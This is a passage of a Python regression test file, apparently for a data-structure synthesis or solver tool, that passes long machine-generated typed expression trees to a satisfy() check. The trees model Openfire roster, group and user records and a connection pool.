TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('_var28803404').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EGetField(EGetField(EVar('_var28803404').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'backendId').with_type(TLong()))).with_type(TBag(TLong()))).with_type(TBool()), 'and', EUnaryOp('unique', EMap(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('_var28803404').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), ETuple((EGetField(EGetField(EVar('_var28803404').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'user').with_type(TString()), ECall('jidToUsername', (EGetField(EGetField(EVar('_var28803404').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'target').with_type(TNative('org.xmpp.packet.JID')),)).with_type(TString()))).with_type(TTuple((TString(), TString()))))).with_type(TBag(TTuple((TString(), TString()))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('unique', EMap(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EGetField(EGetField(EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'name').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool()), 'and', EUnaryOp('empty', EFilter(EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), ELambda(EVar('_var28803487').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), EUnaryOp('not', EBinOp(EGetField(EGetField(ETupleGet(EVar('_var28803487').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('empty', EFilter(EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), ELambda(EVar('_var28803487').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803487').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803487').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 1).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('empty', EFilter(EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('empty', EFilter(EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('_var28803539').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('unique', EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool()), 'and', EUnaryOp('not', EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 'in', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('unique', EBinOp(EStateVar(EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), '+', ESingleton(ETuple((EMapGet(EStateVar(EMakeMap2(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TMap(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TMap(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EVar('_var28803469').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))]), collection_depth=2, validate_model=True) def test_regression14(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EUnaryOp('unique', EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback')))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('_var690').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EMap(EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), ELambda(EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), ECond(EBinOp(EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), '==', EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))).with_type(TBool()), EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))).with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), '==', EMap(EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', 